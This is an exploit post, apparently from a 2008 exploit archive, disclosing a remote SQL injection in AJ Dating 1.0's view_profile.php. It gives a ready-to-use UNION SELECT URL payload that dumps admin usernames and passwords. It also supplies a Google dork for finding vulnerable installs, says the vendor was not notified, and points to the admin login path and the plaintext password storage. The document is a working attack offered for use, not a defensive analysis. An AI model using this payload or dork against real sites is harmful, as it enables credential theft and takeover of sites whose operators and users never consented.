
Exploit Code :
--==+===================================================================
=============+==--
--==+ AJ Dating 1.0 (view_profile.php) Remote SQL Injection
Vulnerability +==--
--==+===================================================================
=============+==--
Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download:
http://www.ajsquare.com/products/dating/index.php?dat=1
DORK: inurl:"classifide_ad.php"
Vendor Has Not Been Notified!
DESCRIPTION:
AJ Dating suffers from a insecure mysql query, allowing a remote
attacker,
to arbitrary inject mysql code/query.
the below injection will display the admin credentials in red text.
SQL Injection:
http://site.com/view_profile.php?user_id=-1/**/UNION/**/ALL/**/SELECT/**
/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(0x3C666F6E7420636F6C6F
723D22726564223E,username,char(58),password,0x3C2F666F6E743E),19,20,21,2
2,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,4
6,47,48/**/FROM/**/admin/*
NOTE/TIP:
admin login is at /admin/
passwords in plaintext.
peace, t0pP8uZz
--==+===================================================================
=============+==--
--==+ AJ Dating 1.0 (view_profile.php) Remote SQL Injection
Vulnerability +==--
--==+===================================================================
=============+==--